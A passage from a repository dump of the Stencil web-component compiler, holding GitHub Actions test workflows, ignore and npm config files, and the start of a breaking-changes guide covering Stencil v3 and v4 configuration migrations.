actions/checkout@692973e3d937129bcbf40652eb9f2f61becf3332 # v4.1.7 - name: Get Core Dependencies uses: ./.github/workflows/actions/get-core-dependencies - name: Use Node ${{ matrix.node }} uses: actions/setup-node@1e60f620b9541d16bece96c5465dc8ee9832be0b # v4.0.3 with: node-version: ${{ matrix.node }} cache: 'npm' - name: Create Pack Directory # `mkdir` will fail if this directory already exists. # in the next steps, we'll immediately put the packed build archive in this directory. # between that and excluding `*.tgz` files in `.gitignore`, that _should_ make it safe enough for us to later # use `mv` to rename the `npm pack`ed tarball run: mkdir stencil-pack-destination shell: bash - name: Download Build Archive uses: ./.github/workflows/actions/download-archive with: name: stencil-core path: ./stencil-pack-destination filename: stencil-core-build.zip - name: Copy package.json # need `package.json` in order to run `npm pack` run: cp package.json ./stencil-pack-destination shell: bash - name: Copy bin # `bin/` isn't a part of the compiled output (therefore not in the build archive). # we need this entrypoint for stencil to run. run: cp -R bin ./stencil-pack-destination shell: bash - name: Remove node_modules # clear out our local `node_modules/` so that they're not linked to in any way when `npm pack` is run run: rm -rf node_modules/ shell: bash - name: Pack the Build Archive run: npm pack working-directory: ./stencil-pack-destination shell: bash - name: Move the Stencil Build Artifact # there isn't a great way to get the output of `npm pack`, just grab the most recent from our destination # directory and hope for the best. # # we don't set the working-directory here to avoid having to deal with relative paths in the destination arg run: mv $(ls -t stencil-pack-destination/*.tgz | head -1) stencil-eval.tgz shell: bash - name: Initialize Component Starter run: npm init stencil component tmp-component-starter shell: bash - name: Install Component Starter Dependencies run: npm install working-directory: ./tmp-component-starter shell: bash - name: Install Stencil Eval run: npm i ../stencil-eval.tgz working-directory: ./tmp-component-starter shell: bash - name: Install Playwright Browsers run: npx playwright install - name: Build Starter Project run: npm run build working-directory: ./tmp-component-starter shell: bash - name: Test Starter Project run: npm run test -- --no-build # the project was just built, don't build it again working-directory: ./tmp-component-starter shell: bash # TEMPORARILY DISABLE # Disable until we update the generate task in v5 to work with new testing setup. # - name: Test npx stencil generate # # `stencil generate` doesn't have a way to skip file generation, so we provide it with a component name and run # # `echo` with a newline to select "all files" to generate (and use -e to interpret that backslash for a newline) # run: echo -e '\n' | npm run generate -- hello-world # working-directory: ./tmp-component-starter # shell: bash # - name: Verify Files Exist # run: | # file_list=( # src/components/hello-world/hello-world.tsx # src/components/hello-world/hello-world.css # src/components/hello-world/test/hello-world.spec.tsx # src/components/hello-world/test/hello-world.e2e.ts # ) # for file in "${file_list[@]}"; do # if [ -f "$file" ]; then # echo "File '$file' exists." # else # echo "File '$file' does not exist." # exit 1 # fi # done # working-directory: ./tmp-component-starter # shell: bash # - name: Test Generated Files # run: npm run test # working-directory: ./tmp-component-starter # shell: bash ================================================ FILE: .github/workflows/test-copytask.yml ================================================ name: Copy Task Tests on: workflow_call: # Make this a reusable workflow, no value needed # https://docs.github.com/en/actions/using-workflows/reusing-workflows permissions: contents: read jobs: bundler_tests: name: Verify Copy Task runs-on: 'ubuntu-22.04' steps: - name: Checkout Code uses: actions/checkout@692973e3d937129bcbf40652eb9f2f61becf3332 # v4.1.7 - name: Get Core Dependencies uses: ./.github/workflows/actions/get-core-dependencies - name: Download Build Archive uses: ./.github/workflows/actions/download-archive with: name: stencil-core path: . filename: stencil-core-build.zip - name: Bundler Tests run: npm run test.copytask shell: bash - name: Check Git Context uses: ./.github/workflows/actions/check-git-context ================================================ FILE: .github/workflows/test-docs-build.yml ================================================ name: Docs OT Build Tests on: workflow_call: # Make this a reusable workflow, no value needed # https://docs.github.com/en/actions/using-workflows/reusing-workflows permissions: contents: read jobs: docs_build_test: name: (${{ matrix.os }}.${{ matrix.node }}) strategy: fail-fast: false matrix: node: ['20', '22'] os: ['ubuntu-latest', 'windows-latest'] runs-on: ${{ matrix.os }} steps: - name: Checkout Code uses: actions/checkout@692973e3d937129bcbf40652eb9f2f61becf3332 # v4.1.7 - name: Get Core Dependencies uses: ./.github/workflows/actions/get-core-dependencies - name: Use Node ${{ matrix.node }} uses: actions/setup-node@1e60f620b9541d16bece96c5465dc8ee9832be0b # v4.0.3 with: node-version: ${{ matrix.node }} cache: 'npm' - name: Download Build Archive uses: ./.github/workflows/actions/download-archive with: name: stencil-core path: . filename: stencil-core-build.zip - name: Docs Build Tests run: npm run test.docs-build shell: bash - name: Check Git Context uses: ./.github/workflows/actions/check-git-context ================================================ FILE: .github/workflows/test-e2e.yml ================================================ name: E2E Tests on: workflow_call: # Make this a reusable workflow, no value needed # https://docs.github.com/en/actions/using-workflows/reusing-workflows permissions: contents: read jobs: e2e_test: name: (${{ matrix.os }}.${{ matrix.node }}) strategy: fail-fast: false matrix: node: ['20', '22'] os: ['ubuntu-latest', 'windows-latest'] runs-on: ${{ matrix.os }} steps: - name: Checkout Code uses: actions/checkout@692973e3d937129bcbf40652eb9f2f61becf3332 # v4.1.7 - name: Get Core Dependencies uses: ./.github/workflows/actions/get-core-dependencies - name: Use Node ${{ matrix.node }} uses: actions/setup-node@1e60f620b9541d16bece96c5465dc8ee9832be0b # v4.0.3 with: node-version: ${{ matrix.node }} cache: 'npm' - name: Download Build Archive uses: ./.github/workflows/actions/download-archive with: name: stencil-core path: . filename: stencil-core-build.zip - name: End-to-End Tests uses: nick-fields/retry@7152eba30c6575329ac0576536151aca5a72780e # v3.0.0 with: timeout_minutes: 10 max_attempts: 3 command: npm run test.end-to-end -- --ci - name: Check Git Context uses: ./.github/workflows/actions/check-git-context ================================================ FILE: .github/workflows/test-types.yml ================================================ name: Type Tests on: workflow_call: # Make this a reusable workflow, no value needed # https://docs.github.com/en/actions/using-workflows/reusing-workflows permissions: contents: read jobs: unit_test: name: Type Tests strategy: fail-fast: false matrix: node: ['20', '22'] runs-on: ubuntu-latest steps: - name: Checkout Code uses: actions/checkout@692973e3d937129bcbf40652eb9f2f61becf3332 # v4.1.7 - name: Get Core Dependencies uses: ./.github/workflows/actions/get-core-dependencies - name: Use Node ${{ matrix.node }} uses: actions/setup-node@1e60f620b9541d16bece96c5465dc8ee9832be0b # v4.0.3 with: node-version: ${{ matrix.node }} cache: 'npm' - name: Download Build Archive uses: ./.github/workflows/actions/download-archive with: name: stencil-core path: . filename: stencil-core-build.zip - name: Type Tests run: npm run test.type-tests shell: bash ================================================ FILE: .github/workflows/test-unit.yml ================================================ name: Unit Tests on: workflow_call: # Make this a reusable workflow, no value needed # https://docs.github.com/en/actions/using-workflows/reusing-workflows permissions: contents: read jobs: unit_test: name: (${{ matrix.os }}.${{ matrix.node }}) strategy: fail-fast: false matrix: node: ['20', '22'] os: ['ubuntu-latest', 'windows-latest'] runs-on: ${{ matrix.os }} steps: - name: Checkout Code uses: actions/checkout@692973e3d937129bcbf40652eb9f2f61becf3332 # v4.1.7 - name: Get Core Dependencies uses: ./.github/workflows/actions/get-core-dependencies - name: Use Node ${{ matrix.node }} uses: actions/setup-node@1e60f620b9541d16bece96c5465dc8ee9832be0b # v4.0.3 with: node-version: ${{ matrix.node }} cache: 'npm' - name: Download Build Archive uses: ./.github/workflows/actions/download-archive with: name: stencil-core path: . filename: stencil-core-build.zip - name: Unit Tests run: npm run test.jest shell: bash - name: Check Git Context uses: ./.github/workflows/actions/check-git-context ================================================ FILE: .github/workflows/test-wdio.yml ================================================ name: WebdriverIO Tests on: workflow_call: # Make this a reusable workflow, no value needed # https://docs.github.com/en/actions/using-workflows/reusing-workflows permissions: contents: read jobs: wdio_test: name: Run WebdriverIO Component Tests (${{ matrix.browser }}) runs-on: ubuntu-22.04 strategy: matrix: # browser: [CHROME, FIREFOX, EDGE] browser: [CHROME] steps: - name: Checkout Code uses: actions/checkout@692973e3d937129bcbf40652eb9f2f61becf3332 # v4.1.7 - name: Get Core Dependencies uses: ./.github/workflows/actions/get-core-dependencies - name: Use Node Version from Volta uses: actions/setup-node@1e60f620b9541d16bece96c5465dc8ee9832be0b # v4.0.3 with: # pull the version to use from the volta key in package.json node-version-file: './test/wdio/package.json' cache: 'npm' - name: Download Build Archive uses: ./.github/workflows/actions/download-archive with: name: stencil-core path: . filename: stencil-core-build.zip - name: Run WebdriverIO Component Tests run: npm run test.wdio shell: bash env: BROWSER: ${{ matrix.browser }} - name: Check Git Context uses: ./.github/workflows/actions/check-git-context ================================================ FILE: .gitignore ================================================ *~ *.sw[mnpcod] *.log *.lock *.tmp *.tmp.* log.txt *.sublime-project *.sublime-workspace *.tgz .DS_Store .idea/ .vscode/ .claude .history/ .sass-cache/ .versions/ node_modules/ coverage/ /build/ /scripts/build/ dist/ # submodule packages /build-conditionals /cli /compiler /hydrate /dev-server /internal /mock-doc /polyfills /runtime /server /sys /testing /screenshot/index.js /screenshot/index.js.map /screenshot/package.json /screenshot/pixel-match.js /screenshot/pixel-match.js.map /screenshot/*.d.ts test/**/www/* test/**/hydrate/* .stencil coverage/** # TODO(STENCIL-446): Remove these once `strictNullChecks` is enabled null_errors*.json # TODO(STENCIL-454): Remove or change this up once we've eliminated unused exports unused-exports*.txt # readme file from docs-readme that is expected to be missing so it will be emitted in full test/docs-readme/custom-readme-output-overwrite-if-missing-missing/components/styleurls-component/readme.md ================================================ FILE: .npmrc ================================================ # By default, Node allocates 2 GB for a process to run. # When building Stencil, it may reach that point before the garbage collector is invoked, causing an out-of-memory # related failure. # If this value is changed, please ensure that it works both locally and in a continuous integration environment in # a repeatable manner (i.e. it can run many times, one after the other, without failing due to out-of-memory errors). node_options=--max-old-space-size=4096 # TODO(STENCIL-1141): remove `PUPPETEER_DOWNLOAD_BASE_URL` once support for Node v16 is dropped PUPPETEER_DOWNLOAD_BASE_URL=https://storage.googleapis.com/chrome-for-testing-public ================================================ FILE: .nvmrc ================================================ v22.13.0 ================================================ FILE: .prettierignore ================================================ # npm packages in the root of the project and subdirectories node_modules/ # submodule packages /build/ /cli/ /compiler/ /dev-server/ /internal/ /mock-doc/ /sys/ /testing/ # shims that are attributed to external authors, and are minified out of the box /src/client/polyfills/core-js.js /src/client/polyfills/dom.js /src/client/polyfills/es5-html-element.js /src/client/polyfills/index.js /src/client/polyfills/system.js # project notes shared with the community /notes/ # output of building various scripts that support the project /scripts/build/ # these files are intentionally incomplete JavaScript files (they are parts of an Immediately Invoked Funciton # Expression (IIFE)). They act as a 'header' and 'footer' that get prepended and appended to the Stencil compiler. # Ignore them so Prettier doesn't fail and the 'prettier-ignore' pragma doesn't get put in the compiler output. /scripts/bundles/helpers/compiler-cjs-intro.js /scripts/bundles/helpers/compiler-cjs-outro.js # code coverage output coverage/ # output from compiling Stencil projects for testing purposes test/**/dist/ test/**/dist-react/ test/**/hydrate/ test/**/test-output/ test/**/www/ test/**/components.d.ts test/end-to-end/screenshot/ test/end-to-end/docs.d.ts test/end-to-end/docs.json test/docs-json/docs.d.ts test/docs-json/docs.json # minified angular that exists in the test directory # generated screenshot files /screenshot/index.js /screenshot/package.json /screenshot/pixel-match.js /screenshot/*.d.ts # third party scripts src/mock-doc/third-party/jquery.ts test/wdio/slot-ng-if/assets/ # wdio test output test/wdio/test-components test/wdio/test-components-no-external-runtime test/wdio/www-global-script/ test/wdio/www-prerender-script test/wdio/www-invisible-prehydration/ test/wdio/test-ts-target-output test/wdio/test-components-autoloader ================================================ FILE: BREAKING_CHANGES.md ================================================ # Breaking Changes This is a comprehensive list of the breaking changes introduced in the major version releases of Stencil. ## Versions - [Stencil 4.x](#stencil-v400) - [Stencil 3.x](#stencil-v300) - [Stencil 2.x](#stencil-two) - [Stencil 1.x](#stencil-one) ## Stencil v4.0.0 - [New Configuration Defaults](#new-configuration-defaults) - [transformAliasedImportPaths](#transformaliasedimportpaths) - [transformAliasedImportPathsInCollection](#transformaliasedimportpathsincollection) - [In Browser Compilation Support Removed](#in-browser-compilation-support-removed) - [Legacy Context and Connect APIs Removed](#legacy-context-and-connect-APIs-removed) - [Legacy Browser Support Removed](#legacy-browser-support-removed) - [Legacy Cache Stats Config Flag Removed](#legacy-cache-stats-config-flag-removed) - [Drop Node 14 Support](#drop-node-14-support) - [Information Included in JSON Documentation Expanded](#information-included-in-docs-json-expanded) ### New Configuration Defaults Starting with Stencil v4.0.0, the default configuration values have changed for a few configuration options. The following sections lay out the configuration options that have changed, their new default values, and ways to opt-out of the new behavior (if applicable). #### `transformAliasedImportPaths` TypeScript projects have the ability to specify a path aliases via the [`paths` configuration in their `tsconfig.json`](https://www.typescriptlang.org/docs/handbook/module-resolution.html#path-mapping) like so: ```json title="tsconfig.json" { "compilerOptions": { "baseUrl": ".", "paths": { "@utils": ["src/utils/index.ts"] } } } ``` In the example above, `"@utils"` would be mapped to the string `"src/utils/index.ts"` when TypeScript performs type resolution. The TypeScript compiler does not however, transform these paths from their keys to their values as a part of its output. Instead, it relies on a bundler/loader to do the transformation. The ability to transform path aliases was introduced in [Stencil v3.1.0](https://github.com/stenciljs/core/releases/tag/v3.1.0) as an opt-in feature. Previously, users had to explicitly enable this functionality in their `stencil.config.ts` file with `transformAliasedImportPaths`: ```ts title="stencil.config.ts - enabling 'transformAliasedImportPaths' in Stencil v3.1.0" import { Config } from '@stencil/core'; export const config: Config = { transformAliasedImportPaths: true, // ... }; ``` Starting with Stencil v4.0.0, this feature is enabled by default. Projects that had previously enabled this functionality that are migrating from Stencil v3.1.0+ may safely remove the flag from their Stencil configuration file(s). For users that run into issues with this new default, we encourage you to file a [new issue on the Stencil GitHub repo](https://github.com/stenciljs/core/issues/new?assignees=&labels=&projects=&template=bug_report.yml&title=bug%3A+). As a workaround, this flag can be set to `false` to disable the default functionality. ```ts title="stencil.config.ts - disabling 'transformAliasedImportPaths' in Stencil v4.0.0" import { Config } from '@stencil/core'; export const config: Config = { transformAliasedImportPaths: false, // ... }; ``` For more information on this flag, please see the [configuration documentation](https://stenciljs.com/docs/config#transformaliasedimportpaths) #### `transformAliasedImportPathsInCollection` Introduced in [Stencil v2.18.0](https://github.com/stenciljs/core/releases/tag/v2.18.0), `transformAliasedImportPathsInCollection` is a configuration flag on the [`dist` output target](https://stenciljs.com/docs/distribution#transformaliasedimportpathsincollection). `transformAliasedImportPathsInCollection` transforms import paths, similar to [`transformAliasedImportPaths`](#transformaliasedimportpaths). This flag however, only enables the functionality of `transformAliasedImportPaths` for collection output targets. Starting with Stencil v4.0.0, this flag is enabled by default. Projects that had previously enabled this functionality that are migrating from Stencil v2.18.0+ may safely remove the flag from their Stencil configuration file(s). For users that run into issues with this new default, we encourage you to file a [new issue on the Stencil GitHub repo](https://github.com/stenciljs/core/issues/new?assignees=&labels=&projects=&template=bug_report.yml&title=bug%3A+). As a workaround, this flag can be set to `false` to disable the default functionality. ```ts title="stencil.config.ts - disabling 'transformAliasedImportPathsInCollection' in Stencil v4.0.0" import { Config } from '@stencil/core'; export const config: Config = { outputTargets: [ { type: 'dist', transformAliasedImportPathsInCollection: false, }, // ... ] // ... }; ``` For more information on this flag, please see the [`dist` output target's documentation](https://stenciljs.com/docs/distribution#transformaliasedimportpathsincollection). ### In Browser Compilation Support Removed Prior to Stencil v4.0.0, components could be compiled from TSX to JS in the browser. This feature was seldom used, and has been removed from Stencil. At this time, there is no replacement functionality. For additional details, please see the [request-for-comment](https://github.com/stenciljs/core/discussions/4134) on the Stencil GitHub Discussions page. ### Legacy Context and Connect APIs Removed Previously, Stencil supported `context` and `connect` as options within the `@Prop` decorator. Both of these APIs were deprecated in Stencil v1 and are now removed. ```ts @Prop({ context: 'config' }) config: Config; @Prop({ connect: 'ion-menu-controller' }) lazyMenuCtrl: Lazy; ``` To migrate away from usages of `context`, please see [the original deprecation announcement](#propcontext) To migrate away from usages of `connect`, please see [the original deprecation announcement](#propconnect) ### Legacy Browser Support Removed In Stencil v3.0.0, we announced [the deprecation of IE 11, pre-Chromium Edge, and Safari 10 support](#legacy-browser-support-fields-deprecated). In Stencil v4.0.0, support for these browsers has been dropped (for a full list of supported browsers, please see our [Browser Support policy](https://stenciljs.com/docs/support-policy#browser-support)). By dropping these browsers, a few configuration options are no longer valid in a Stencil configuration file: #### `__deprecated__cssVarsShim` The `extras.__deprecated__cssVarsShim` option caused Stencil to include a polyfill for [CSS variables](https://developer.mozilla.org/en-US/docs/Web/CSS/--*). This field should be removed from a project's Stencil configuration file (`stencil.config.ts`). #### `__deprecated__dynamicImportShim` The `extras.__deprecated__dynamicImportShim` option caused Stencil to include a polyfill for the [dynamic `import()` function](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/import) for use at runtime. This field should be removed from a project's Stencil configuration file (`stencil.config.ts`). #### `__deprecated__safari10` The `extras.__deprecated__safari10` option would patch ES module support for Safari 10. This field should be removed from a project's Stencil configuration file (`stencil.config.ts`). #### `__deprecated__shadowDomShim` The `extras.__deprecated__shadowDomShim` option would check whether a shim for [shadow DOM](https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_shadow_DOM) was needed in the current browser, and include one if so. This field should be removed from a project's Stencil configuration file (`stencil.config.ts`). ### Legacy Cache Stats Config Flag Removed The `enableCacheStats` flag was used in legacy behavior for caching, but has not been used for some time. This flag has been removed from Stencil's API and should be removed from a project's Stencil configuration file (`stencil.config.ts`). ### Drop Node 14 Support Stencil no longer supports Node 14. Please upgrade local development machines, continuous integration pipelines, etc. to use Node v16 or higher. For the full list of supported runtimes, please see [our Support Policy](https://stenciljs.com/docs/support-policy#javascript-runtime). ### Information Included in `docs-json` Expanded For Stencil v4 the information included in the output of the `docs-json` output target was expanded to include more information about the types of properties and methods on Stencil components. For more context on this change, see the [documentation for the new `supplementalPublicTypes`](https://stenciljs.com/docs/docs-json#supplementalpublictypes) option for the JSON documentation output target. #### `JsonDocsEvent` The JSON-formatted documentation for an `@Event` now includes a field called `complexType` which includes more information about the types referenced in the type declarations for that property. Here's an example of what this looks like for the [ionBreakpointDidChange event](https://github.com/ionic-team/ionic-framework/blob/1f0c8049a339e3a77c468ddba243041d08ead0be/core/src/components/modal/modal.tsx#L289-L292) on the `Modal` component in Ionic Framework: ```json { "complexType": { "original": "ModalBreakpointChangeEventDetail", "resolved": "ModalBreakpointChangeEventDetail", "references": { "ModalBreakpointChangeEventDetail": { "location": "import", "path": "./modal-interface", "id": "src/components/modal/modal.tsx::ModalBreakpointChangeEventDetail" } } } } ``` #### `JsonDocsMethod` The JSON-formatted documentation for a `@Method` now includes a field called `complexType` which includes more information about the types referenced in the type declarations for that property. Here's an example of what this looks like for the [open method](https://github.com/ionic-team/ionic-framework/blob/1f0c8049a339e3a77c468ddba243041d08ead0be/core/src/components/select/select.tsx#L261-L313) on the `Select` component in Ionic Framework: ```json { "complexType": { "signature": "(event?: UIEvent) => Promise", "parameters": [ { "tags": [ { "name": "param", "text": "event The user interface event that called the open." } ], "text": "The user interface event that called the open." } ], "references": { "Promise": { "location": "global", "id": "global::Promise" }, "UIEvent": { "location": "global", "id": "global::UIEvent" }, "HTMLElement": { "location": "global", "id": "global::HTMLElement" } }, "return": "Promise" } } ``` ## Stencil v3.0.0 * [General](#general) * [New Configuration Defaults](#new-configuration-defaults) * [SourceMaps](#sourcemaps) * [`dist-custom-elements` Type Declarations](#dist-custom-elements-type-declarations) * [Legacy Browser Support Fields Deprecated](#legacy-browser-support-fields-deprecated) * [`dynamicImportShim`](#dynamicimportshim) * [`cssVarsShim`](#cssvarsshim) * [`shadowDomShim`](#shadowdomshim) * [`safari10`](#safari10) * [Deprecated `assetsDir` Removed from `@Component()` decorator](#deprecated-assetsdir-removed-from-component-decorator) * [Drop Node 12 Support](#drop-node-12-support) * [Strongly Typed Inputs](#strongly-typed-inputs) * [Narrowed Typing for `autocapitalize` Attribute](#narrowed-typing-for-autocapitalize-attribute) * [Custom Types for Props and Events are now Exported from `components.d.ts`](#custom-types-for-props-and-events-are-now-exported-from-componentsdts) * [Composition Event Handlers Renamed](#composition-event-handlers-renamed) * [Output Targets](#output-targets) * [`dist-custom-elements` Output Target](#dist-custom-elements-output-target) * [Add `customElementsExportBehavior` to Control Export Behavior](#add-customelementsexportbehavior-to-control-export-behavior) * [Move `autoDefineCustomElements` Configuration](#move-autodefinecustomelements-configuration) * [Remove `inlineDynamicImports` Configuration](#remove-inlinedynamicimports-configuration) * [`dist-custom-elements-bundle` Output Target](#dist-custom-elements-bundle-output-target) * [Legacy Angular Output Target](#legacy-angular-output-target) * [Stencil APIs](#stencil-apis) * [Flag Parsing, `parseFlags()`](#flag-parsing-parseflags) * [Destroy Callback, `addDestroy()`, `removeDestroy()`](#destroy-callback-adddestroy-removedestroy) * [End-to-End Testing](#end-to-end-testing) * [Puppeteer v10+ Required](#puppeteer-v10-required) ### General #### New Configuration Defaults Starting with Stencil v3.0.0, the default configuration values have changed for a few properties. ##### SourceMaps Sourcemaps are generated by default for all builds. Previously, sourcemaps had to be explicitly enabled by setting the `sourceMap` flag to `true`. To restore the old behavior, set the `sourceMap` flag to `false` in your project's `stencil.config.ts`: ```ts // stencil.config.ts import { Config } from '@stencil/core'; export const config: Config = { sourceMap: false, // ... }; ``` ##### `dist-custom-elements` Type Declarations Type declaration files (`.d.ts` files) are now generated by default for the `dist-custom-elements` output target. If your project is using `dist-custom-elements` and you do not wish to generate type declarations, the old behavior can be achieved by setting `generateTypeDeclarations` to `false` in the `dist-custom-elements` output target in your project's `stencil.config.ts`: ```ts // stencil.config.ts import { Config } from '@stencil/core'; export const config: Config = { outputTargets: [ { type: 'dist-custom-elements', generateTypeDeclarations: false, // ... }, // ... ], // ... }; ``` #### Legacy Browser Support Fields Deprecated Several configuration options related to support for Safari <11, IE11, and Edge <19 have been marked as deprecated, and will be removed entirely in a future version of Stencil. ##### `dynamicImportShim` The `extras.dynamicImportShim` option causes Stencil to include a polyfill for the [dynamic `import()` function](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/import) for use at runtime. The field is renamed to `__deprecated__dynamicImportShim` to indicate deprecation. To retain the prior behavior the new option can be set in your project's `stencil.config.ts`: ```ts // stencil.config.ts import { Config } from '@stencil/core'; export const config: Config = { extras: { __deprecated__dynamicImportShim: true } }; ``` ##### `cssVarsShim` `extras.cssVarsShim` causes Stencil to include a polyfill for [CSS variables](https://developer.mozilla.org/en-US/docs/Web/CSS/--*). For Stencil v3.0.0 this field is renamed to `__deprecated__cssVarsShim`. To retain the previous behavior the new option can be set in your project's `stencil.config.ts`: ```ts // stencil.config.ts import { Config } from '@stencil/core'; export const config: Config = { extras: { __deprecated__cssVarsShim: true } }; ``` ##### `shadowDomShim` If `extras.shadowDomShim` is set to `true` the Stencil runtime will check whether a shim for [shadow DOM](https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_shadow_DOM) is needed in the current browser, and include one if so. For Stencil v3.0.0 this field is renamed to `__deprecated__shadowDomShim`. To retain the previous behavior the new option can be set in your project's `stencil.config.ts`: ```ts // stencil.config.ts import { Config } from '@stencil/core'; export const config: Config = { extras: { __deprecated__shadowDomShim: true } }; ``` ##### `safari10` If `extras.safari10` is set to `true` the Stencil runtime will patch ES module support for Safari 10. In Stencil v3.0.0 the field is renamed to `__deprecated__safari10` to indicate deprecation. To retain the prior behavior the new option can be set in your project's `stencil.config.ts`: ```ts // stencil.config.ts import { Config } from '@stencil/core'; export const config: Config = { extras: { __deprecated__safari10: true } }; ``` #### Deprecated `assetsDir` Removed from `@Component()` decorator The `assetsDir` field was [deprecated in Stencil v2.0.0](#componentassetsdir), but some backwards compatibility was retained with a warning message. It has been fully removed in Stencil v3.0.0 in favor of `assetsDirs`. To migrate from existing usages of `assetsDir`, update the property name and wrap its value in an array: ```diff @Component({ tag: 'my-component', - assetsDir: 'assets', + assetsDirs: ['assets'], }) ``` For more information on the `assetsDirs` field, please see the [Stencil Documentation on `assetsDirs`](https://stenciljs.com/docs/assets#assetsdirs) #### Drop Node 12 Support Stencil no longer supports Node 12. Please upgrade local development machines, continuous integration pipelines, etc. to use Node v14 or higher. #### Strongly Typed Inputs `onInput` and `onInputCapture` events have had their interface's updated to accept an argument of `InputEvent` over `Event`: ```diff - onInput?: (event: Event) => void; + onInput?: (event: InputEvent) => void; - onInputCapture?: (event: Event) => void; + onInputCapture?: (event: InputEvent) => void; ``` `event` arguments to either callback should be updated to take this narrower typing into account #### Narrowed Typing for `autocapitalize` Attribute The [`autocaptialize` attribute](https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/autocapitalize) has been narrowed from type `any` to type `string`. This change brings Stencil into closer alignment with TypeScript's typings for the attribute. No explicit changes are needed, unless a project was passing non-strings to the attribute. #### Custom Types for Props and Events are now Exported from `components.d.ts` Custom types for props and custom events are now re-exported from a project's `components.d.ts` file. For the following Stencil component ```tsx import { Component, Event, EventEmitter, Prop, h } from '@stencil/core'; export type NameType = string; export type Todo = Event; @Component({ tag: 'my-component', styleUrl: 'my-component.css', shadow: true, }) export class MyComponent { @Prop() first: NameType; @Event() todoCompleted: EventEmitter render() { return
Hello, World! I'm {this.first}
; } } ``` The following data will now be included automatically in `components.d.ts`: ```diff import { HTMLStencilElement, JSXBase } from "@stencil/core/internal"; import { NameType, Todo } from "./components/my-component/my-component"; + export { NameType, Todo } from "./components/my-component/my-component"; export namespace Components { interface MyComponent { "first": NameType; } } export interface MyComponentCustomEvent extends CustomEvent { detail: T; target: HTMLMyComponentElement; } declare global { interface HTMLMyComponentElement extends Components.MyComponent, HTMLStencilElement { } ``` This allows those types to be easily accessed from the root of the type distribution: ```ts import { NameType, Todo } from '@my-lib/types'; ``` When using `dist-custom-elements`, these types can now be accessed from the custom element output: ```ts import { NameType, Todo } from '@my-custom-elements-output'; ``` This _may_ clash with any manually created types in existing Stencil projects. Projects that manually create type definitions from `components.d.ts` will either need to: - remove the manually created type (if the types generated in `components.d.ts` suffice) - update their type creation logic to account for potential naming collisions with the newly generated types #### Composition Event Handlers Renamed The names of Stencil's composition event handlers have been changed in order to correct a casing issue which prevented handlers from being called when events fired. The changes are as follows: | previous name | new name | | ---------------------------- | ---------------------------- | | `onCompositionEnd` | `onCompositionend` | | `onCompositionEndCapture` | `onCompositionendCapture` | | `onCompositionStart` | `onCompositionstart` | | `onCompositionStartCapture` | `onCompositionstartCapture` | | `onCompositionUpdate` | `onCompositionupdate` | | `onCompositionUpdateCapture` | `onCompositionupdateCapture` | ### Output Targets #### `dist-custom-elements` Output Target ##### Add `customElementsExportBehavior` to Control Export Behavior `customElementsExportBehavior` is a new configuration option for the output target. It allows users to configure the export behavior of components that are compiled using the output target. By default, this output target will behave exactly as it did in Stencil v2.0.0. For more information on how to configure it, please see the [documentation for the field](https://stenciljs.com/docs/custom-elements#customElementsExportBehavior). ##### Move `autoDefineCustomElements` Configuration `autoDefineCustomElements` was a configuration option to define a component and its children automatically with the CustomElementRegistry when the component's module is imported. This behavior has been merged into the [`customElementsExportBehavior` configuration field](#add-customelementsexportbehavior-to-control-export-behavior). To continue to use this behavior, replace `autoDefineCustomElements` in your project's `stencil.config.ts` with the following: ```diff // stencil.config.ts import { Config } from '@stencil/core'; export const config: Config = { outputTargets: [ { type: 'dist-custom-elements', - autoDefineCustomElements: true, + customElementsExportBehavior: 'auto-define-custom-elements', // ... }, // ... ], // ... }; ``` #### Remove `inlineDynamicImports` Configuration The `inlineDynamicImports` configuration option on `dist-custom-elements` has been removed. Previously, this option would throw an error at build time during the Rollup bundling process if the build contained multiple "inputs" (components). #### `dist-custom-elements-bundle` Output Target The `dist-custom-elements-bundle` has been removed starting with Stencil v3.0.0, following the [RFC process](https://github.com/stenciljs/core/issues/3136). Users of this output target should migrate to the `dist-custom-elements` output target. By default, `dist-custom-elements` does not automatically define all a project's component's with the `CustomElementsRegistry`. This allows for better treeshaking and smaller bundle sizes. For teams that need to migrate quickly to `dist-custom-elements`, the following configuration should be close to a drop-in replacement for `dist-custom-elements-bundle`: ```diff // stencil.config.ts import { Config } from '@stencil/core'; export const config: Config = { outputTargets: [ - { - type: 'dist-custom-elements-bundle', - // additional configuration - }, + { + type: 'dist-custom-elements', + customElementsExportBehavior: 'bundle' + }, // ... ], // ... }; ``` However, it does not necessarily improve treeshaking/bundle size. For more information on configuring this output target, please see the [`dist-custom-elements` documentation](https://stenciljs.com/docs/custom-elements) ### Legacy Angular Output Target Prior to the creation of the [`@stencil/angular-output-target`](https://github.com/stenciljs/core-ds-output-targets/blob/main/packages/angular-output-target/README.md), the `'angular'` output target was the original means of connecting a Stencil component to an Angular application. This output target has been removed in favor of `@stencil/angular-output-target`. Please migrate to `@stencil/angular-output-target` and remove the `'angular'` output target from your `stencil.config.ts` file. Instructions for doing so can be found [on the Stencil site](https://stenciljs.com/docs/angular#setup) ### Stencil APIs Stencil exposes Node APIs for programmatically invoking the compiler. Most users do not use these APIs directly. Unless your project calls these APIs, no action is required for this section. #### Flag Parsing, `parseFlags()` Stencil exposes an API for parsing flags that it receives from the command line. Previously, it accepted an optional `CompilerSystem` argument that was never properly used. The flag has been removed as of Stencil v3.0.0. To migrate, remove the argument from any calls to `parseFlags` imported from the Stencil CLI package. ```diff import { parseFlags } from '@stencil/core/cli'; - parseFlags(flags, compilerSystem); + parseFlags(flags); ``` #### Destroy Callback, `addDestroy()`, `removeDestroy()` The Stencil `CompilerSystem` interface has a pair of methods, `addDestroy` and `removeDestroy` that were previously misspelled. If your codebase explicitly calls these methods, they need to be updated. Replace all instances of `addDestory` with `addDestroy` and all instances of `removeDestory` with `removeDestroy` The functionality of these methods remains the same. ### End-to-End Testing #### Puppeteer v10+ Required Versions of Puppeteer prior to Puppeteer version 10 are no longer supported. In newer versions of Puppeteer, the library provides its own types, making `@types/puppeteer` no longer necessary. Ensure that Puppeteer v10 or higher is installed, and that its typings are not: ```bash $ npm install puppeteer $ npm uninstall @types/puppeteer ``` To see which versions of Puppeteer are supported by Stencil, please see our [support matrix](https://stenciljs.com/docs/support-policy#puppeteer) ***** ## Stencil Two In keeping with [Semver](https://semver.org/), Stencil `2.0.0` was released due to changes in the API (mainly from some updates 